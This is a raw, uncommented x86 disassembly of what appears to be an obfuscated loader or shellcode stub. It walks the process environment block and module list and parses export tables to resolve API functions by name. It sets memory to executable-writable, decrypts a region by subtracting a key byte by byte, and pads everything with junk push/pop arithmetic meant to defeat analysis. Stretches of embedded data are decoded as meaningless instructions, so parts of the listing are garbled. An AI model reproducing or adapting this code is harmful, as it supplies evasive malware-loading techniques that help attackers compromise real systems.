add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x509db0
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x50a022
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x509e0a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x50a016
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x509e7a
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x509f2c
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x509f2c
push edi
push edx
add esp, 4
call 0x509ebb
add byte [edi], dh
xor ecx, dword [ecx + 0x4e]
xor al, 0x4f
aas
xor eax, 0x5f04c483
push ecx
xor ecx, 0x9790
sub ecx, 0x8e9d
sub ecx, 0xe0eb
or ecx, 0x18058
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x509f1e
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x509f25
jmp 0x509e6b
jmp 0x509f2c
push eax
push esi
add esp, 4
add eax, 0x18dd
jmp 0x509f40
or eax, 0x1578
pop eax
push esi
or esi, 0x15d0b
jmp 0x509f57
sub esi, 0x11b25
pop esi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x509f8b
mov dword [ebp - 0xc5c], 0
jmp 0x509ffa
push ecx
sub ecx, 0x8a8a
sub ecx, 0xd104
xor ecx, 0x10ea0
call 0x509fab
add byte [ebx], bh
dec eax
cmp eax, 0x3d3c4f40
add esp, 4
pop ecx
push ebx
add ebx, 0x6041
or ebx, 0xcf31
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x509ff0
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x509ffa
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x50a011
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x50a022
jmp 0x509dfb
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x50a0fd
push edx
push edx
add esp, 4
sub edx, 0xa8cd
pop edx
push ebx
call 0x50a049
add byte [esi], bh
xor al, 0x50
xor eax, dword [eax + 0x46]
push eax
add esp, 4
pop ebx
push edi
xor edi, 0x15cfe
xor edi, 0x989e
and edi, 0xe04f
pop edi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edi
push ebx
add esp, 4
xor edi, 0x85af
xor edi, 0x2b78
sub edi, 0x17c44
pop edi
push edi
and edi, 0x53dc
or edi, 0x15b33
sub edi, 0xa6a9
sub edi, 0x139c2
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x50a0fd
push eax
sub eax, 0x63cd
sub eax, 0x10c58
pop eax
push eax
push eax
add esp, 4
sub eax, 0x44
sub eax, 0x6001
and eax, 0x167e7
pop eax
push ecx
push ecx
add esp, 4
add ecx, 0x13258
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x50a7e8
push ebx
push ebx
add esp, 4
xor ebx, 0xef2f
call 0x50a116
add byte [ebx], bh
xor al, 0x50
cmp ecx, dword [esi + 0x4e]
inc ebx
add esp, 4
add ebx, 0x10917
call 0x50a12b
add byte [eax + ecx*2], dh
dec ecx
cmp dword [0x4c4833e], esi
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
push edx
add esp, 4
and edi, 0x1508c
jmp 0x50a167
add edi, 0x173c9
call 0x50a17d
add byte [ecx + 0x44], cl
dec edx
inc eax
xor al, 0x38
cmp eax, dword [edi + 0x50]
inc ecx
add esp, 4
pop edi
push eax
and eax, 0xf855
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x50a1a1
mov dword [ebp - 0x2a8], 0
jmp 0x50a448
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
and eax, 0x10b6e
and eax, 0x15935
call 0x50a1cd
add byte [edx + esi + 0x36], cl
aaa
aaa
add esp, 4
or eax, 0x10d35
pop eax
push edi
jmp 0x50a1de
add edi, 0x47b5
pop edi
cmp dword [ebp - 0xc68], 0
jne 0x50a1fd
mov dword [ebp - 0x2a8], 0
jmp 0x50a448
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
push eax
add esp, 4
xor eax, 0x2b26
sub eax, 0x15384
add eax, 0xc46d
pop eax
push esi
and esi, 0x383a
pop esi
push edx
push edx
add esp, 4
les eax, [ecx + eax*4]
retf 0x6414
add byte [eax], al
xor edx, 0xa5b6
pop edx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push eax
push edi
add esp, 4
sub eax, 0x4733
or eax, 0x11e7e
pop eax
push esi
push eax
add esp, 4
jmp 0x50a283
sub esi, 0x11bd0
xor esi, 0x8d50
jmp 0x50a296
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push edi
add esp, 4
add ebx, 0x95e0
pop ebx
push ebx
add ebx, 0x3955
and ebx, 0x79d
pop ebx
push ebx
push edi
add esp, 4
add ebx, 0xd191
xor ebx, 0xe369
or ebx, 0x11797
pop ebx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x50a33d
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x50a397
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x50a265
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x50a265
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x50a381
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x50a38b
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x50a3e0
push esi
xor esi, 0x149f1
or esi, 0xc38d
or esi, 0x8cce
call 0x50a3c2
add byte [ebp + 0x49], al
inc ebx
cmp al, byte [edi + eax*2 + 0x49]
push eax
inc ebp
add esp, 4
pop esi
push esi
push edi
add esp, 4
jmp 0x50a3d1
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x50a448
push ecx
jmp 0x50a3e8
call 0x50a3f8
add byte [ebx], dh
cmp dword [esi + esi], esi
cmp byte [ebx + 0x4a], al
xor eax, dword [eax + 0x33]
add esp, 4
jmp 0x50a402
pop ecx
push edi
jmp 0x50a409
pop edi
push eax
or eax, 0xc251
pop eax
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x50a43e
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x50a209
mov dword [ebp - 0x2a8], 0
push edx
sub edx, 0x635
add edx, 0x387e
xor edx, 0x7ecb
and edx, 0x15de8
pop edx
push eax
push ebx
add esp, 4
sub eax, 0x2d4a
pop eax
push edi
push esi
add esp, 4
and edi, 0x18064
pop edi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push esi
push esi
add esp, 4
add esi, 0x13167
pop esi
push ecx
and ecx, 0xb29
sub ecx, 0x16eef
xor ecx, 0x17f94
pop ecx
push ecx
push edx
add esp, 4
sub ecx, 0x13f7c
or ecx, 0xc4e9
pop ecx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x50a4eb
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50a7dc
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x50a513
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50a7dc
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x50a545
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x50a7dc
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x50a56a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x50a7dc
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
clc
invalid
inc dword [eax]
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x50a7d0
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x50a634
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50a6e6
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x50a6e6
push esi
xor esi, 0x184e4
add esi, 0xd4a
pop esi
push esi
push esi
add esp, 4
add esi, 0xe414
pop esi
push ecx
push esi
add esp, 4
or ecx, 0xaee3
sub ecx, 0xd21
and ecx, 0x9ea2
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x50a6d8
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x50a6df
jmp 0x50a625
jmp 0x50a6e6
push edi
push esi
add esp, 4
or edi, 0x17411
xor edi, 0x516d
and edi, 0x58eb
xor edi, 0x18010
pop edi
push ebx
add ebx, 0xd62a
or ebx, 0x15677
and ebx, 0x349e
pop ebx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x50a745
mov dword [ebp - 0xc6c], 0
jmp 0x50a7b4
push ebx
push ecx
add esp, 4
sub ebx, 0x4706
pop ebx
push edx
push edi
add esp, 4
jmp 0x50a75c
sub edx, 0x57a4
sub edx, 0x113d4
pop edx
push edi
push esi
add esp, 4
jmp 0x50a776
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x50a7aa
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x50a7b4
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x50a7cb
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x50a7dc
jmp 0x50a5b5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
push edi
add esp, 4
or edx, 0x759f
add edx, 0x4662
xor edx, 0xedef
pop edx
push ebx
push ecx
add esp, 4
and ebx, 0x6ca1
pop ebx
push esi
add esi, 0x6d3c
and esi, 0x10936
pop esi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x50a88d
push edi
and edi, 0x16d41
jmp 0x50a854
pop edi
push edx
xor edx, 0x155b9
pop edx
push edi
xor edi, 0xef61
and edi, 0x122ae
pop edi
push edi
add edi, 0x110a
or edi, 0x18369
pop edi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x50a8aa
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x50a906
push ebx
push esi
add esp, 4
call 0x50a8c9
add byte [edx + 0x3b], cl
inc eax
dec edx
dec edx
cmp eax, 0x5b04c483
push ecx
and ecx, 0x17599
jmp 0x50a8dd
sub ecx, 0x65bc
add ecx, 0x10892
pop ecx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x50a89b
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x50a97e
push ecx
sub ecx, 0x167b
and ecx, 0x1559b
sub ecx, 0x1229a
call 0x50a95a
add byte [ebx + ecx*2], dh
cmp dword [ebp + 0x47], eax
cmp dword [ebx + 0x4e], ecx
xor eax, dword [ebx + 0x515904c4]
push ecx
add esp, 4
add ecx, 0x1756e
pop ecx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push esi
or esi, 0x10839
xor esi, 0xa2a9
or esi, 0x15bc5
pop esi
push eax
push eax
add esp, 4
xor eax, 0x290d
add eax, 0x5a26
xor eax, 0x10f0d
and eax, 0x85
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
pop ebx
pop ebx
mov cl, cl
or dword [esi + 0x532affb], eax
add eax, 0x1660f386
add eax, 0x510ed05
add eax, 0x45510505
push esp
cmp bh, byte [0x52493954]
aaa
mov cl, cl
or dword [esi + 0x62f77f3], eax
add eax, 0x8f05563
dec edx
push esp
cmp al, 0x5d
mov edi, 0x5050570
imul ecx, dword [esi + 0x4eec19a], 4
mov ebp, 0x505056a
imul ecx, dword [esi + 0x4eec38a], 4
mov esi, 0x5050577
imul ecx, dword [esi + 0x4eec592], 4
mov edi, 0x5050573
imul ecx, dword [esi + 0x4eec79a], 4
mov ebp, 0x505056a
imul ecx, dword [esi + 0x4eec98a], 4
mov esi, 0x5050571
imul ecx, dword [esi + 0x4eecb92], 4
mov edi, 0x5050538
imul ecx, dword [esi + 0x4eecd9a], 4
mov ebp, 0x5050537
imul ecx, dword [esi + 0x4eecf8a], 4
mov esi, 0x5050533
imul ecx, dword [esi + 0x4eed192], 4
mov edi, 0x5050569
imul ecx, dword [esi + 0x4eed39a], 4
mov ebp, 0x5050571
imul ecx, dword [esi + 0x4eed58a], 4
mov esi, 0x5050571
imul ecx, dword [esi + 0x4eed792], 4
cmp bh, dl
imul ecx, dword [esi + 0x4eed99a], 4
retf